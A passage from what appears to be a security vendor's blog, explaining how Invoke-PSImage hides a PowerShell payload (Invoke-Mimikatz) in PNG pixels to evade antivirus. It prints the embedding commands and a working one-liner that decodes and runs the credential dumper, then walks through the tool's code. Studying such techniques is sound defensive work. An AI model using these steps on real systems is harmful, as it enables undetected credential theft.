开工大吉|策马扬鞭,跃启新程!
2026-02-25
浙江省委宣传部副部长、省委网信办主任赵磊:守正创新 辩证施策 全力推动网络生态治理工作迈上新台阶
2026-02-10
美创产品全面入围中直机关2025年网络设备框架协议采购项目
2026-02-04
连续5年!美创再获中国网络安全产业联盟“先进会员单位”表彰
2026-01-21
每周安全速递³⁷¹ | 勒索软件攻击导致心理健康机构超11万人数据泄露
2026-01-06
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务前言
随着现在杀毒软件的不断更新和升级,如何才能把恶意代码上传到攻击者的服务器而不被杀毒软件所查杀,恐怕是黑产相关人员永远绕不过的话题。最近看到一则消息,有一款挖矿病毒【MyKingz】为了隐藏自身的恶意代码,将代码隐藏在taylor swift的图像中,以实现免杀的效果。接下来我将以实例演示,看看恶意代码是如何隐藏在图片中并进行调用的。
恶意代码隐藏实例及演示
环 境
windows server 2008r2
Invoke-PSImage`https://github.com/peewpw/Invoke-PSImage`
Invoke-Mimikatz.ps1
Invoke-PSImage是一款powershell脚本,主要功能是将powershell代码隐藏在图片的相关位。
Invoke-Mimikatz,这个可能很多人都知道,可以抓取windows系统的明文账号密码,是黑客在渗透测试常利用的一款脚本,使用方法如下:
通过virustotal检测。
目前绝大部分杀软都会查杀这个脚本。
接下来powershell导入Invoke-PSImage
➣ Import-Module .Invoke-PSimage.ps1
➣ Invoke-PSImage -Script .Invoke-Mimikatz.ps1 -Out .sojrs_mimikatz.png -image .imagessojrs-2.png
这里-script表示你要写入图片中的powershell脚本,-image 表示待写入恶意代码的图片,-Out 表示最后写入成功的图片,powershell的脚本将会隐藏在这个图片。
执行成功之后,会生成一条命令,通过该命令可以读取图片中的恶意代码并执行。
可以看到,植入恶意代码的图片仍能正常显示,和原图相比,有些许不同。
通过virustotal检查sojrs_mimikatz.png,没有一款检测出来,成功绕过所有的杀软件。
利用该图片读取系统账号密码
Sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:userssojrsDesktopInvoke-PSImagesojrs_mimikatz.png");$o=a Byte`` 2205000;(0..1469)|%{foreach($x in(0..1499)){$p=$g.GetPixel($x,$_);$o`$_*1500+$x`=(`math`::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX(`System.Text.Encoding`::ASCII.GetString($o`0..2204116`));invoke-Mimikatz
因此通过Invoke-PSImage,我们成功把恶意的mimikatz的密码抓取脚本隐藏在图片当中,并通过一条命令执行了密码抓取功能,且成功绕过所有杀毒软件的查杀。
PSImage分析
这里主要有2个问题:
1.PSImage是怎么把恶意代码写入到图片的?
2.Powershell是怎么调用图片中的恶意代码的?
这些问题,我们可以阅读一下invoke-PSImage的源码来分析一下。
在这之前先简单了解一个概念,图片是以像素为单位的,一个像素点用rgb模式即为rgb(0x66,0x67,0x68) ,所以一个像素点是3个字节共24位。那么PSImage主要原理就是将payload转为字节后,每个字节保存到图片的每个像素中。比如我想保存字母A(0x41),二进制表示为(01000001),高4位为0100,低4位为0001。此时PSImage将会把高4位保存在某个像素点颜色分量B的低4位,将payload的低4位保存在颜色分量G的低4位。最后按照这种规律读取图片中的响应的低4位做拼接,转为字符后执行相关脚本命令。因为rgb模式,其中颜色分量主要取决于高4位,低4位的变动从人体感官上很难感知到颜色的变化,所以这里替换的均为颜色分量的低4位。
了解到以上的基本原理之后,我们来看一下PSImage的关键实现代码
for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
if ($counter -lt $payload.Length){
$paybyte1 = `math`::Floor($payload`$counter`/16)
$paybyte2 = ($payload`$counter` -band 0x0f)
$paybyte3 = ($randb`($counter+2)%109` -band 0x0f)
#读取payload的前后4位,paybyte1为前4位,paybyte2为后4位,band=&与运算,bor=|或运算,paybyte3为随机数,无关紧要
#以payload`$counter`=A为例分析,
#paybyte1=0x41/0x01 取商为0x04,即取出了payload的高四位
#paybyte2=0x41 & 0x0f == 0x01,即取出了payload的低四位
} else {
$paybyte1 = ($randb`$counter%113` -band 0x0f)
$paybyte2 = ($randb`($counter+1)%67` -band 0x0f)
$paybyte3 = ($randb`($counter+2)%109` -band 0x0f)
#若计数器大于payload长度,则填充随机数
}
$rgbValues`($counter*3)` = ($rgbValues`($counter*3)` -band 0xf0) -bor $paybyte1
#这里rgbvalues($counter*3)表示B颜色分量,rgbValues`($counter*3+1)表示G颜色分量,分别与原来图片的低4位进行或运算从而保存
$rgbValues`($counter*3+1)` = ($rgbValues`($counter*3+1)` -band 0xf0) -bor $paybyte2
$rgbValues`($counter*3+2)` = ($rgbValues`($counter*3+2)` -band 0xf0) -bor $paybyte3
}
以上这段就是保存payload到图片中的核心代码,即为图示的原理,解决了我们之前提出的第一个问题。
针对第二个问题,现在了解了第一个问题之后,现在应该心里有个数了,无非就是逆向回去,读取恶意图片的gb颜色分量的低4位,转为字符后调用powershell执行相关命令,下面看下代码的实例,这里为便于观看,用我执行sojrs_mimikatz.png的命令解读
sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:UserssojrsDesktopsojrs_mimikatz.png");
$o=a Byte`` 2877;
(0..2)|%{foreach($x in(0..958))
{$p=$g.GetPixel($x,$_);
$o`$_*959+$x`=(`math`::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
#逆向过程,循环读取恶意图片像素中的B,G颜色分量的低4位,并将B的低4位进行进位,然后或运算后即为payload的字节表达式
$g.Dispose();
IEX(`System.Text.Encoding`::ASCII.GetString($o`0..2839`))
#将payload转为字符
最终即获取到了一个恶意代码的对象,如果想要执行该对象的相关方法,后面添加分号即可,以mimikatz读取系统密码为例
总结
1.图片只是用于隐藏恶意代码。
2.通过简单的脚本命令可以读取图片的相关位并转回成恶意代码。
3.恶意图片可以不在本地,通过web访问获取,从而实现无文件读取密码、勒索、挖矿等。但考虑到稳定性,勒索病毒一般还是会放在本地。
4.这种攻击形式类似于dll注入,只是恶意代码不是放在dll文件中,而是隐藏在图片中。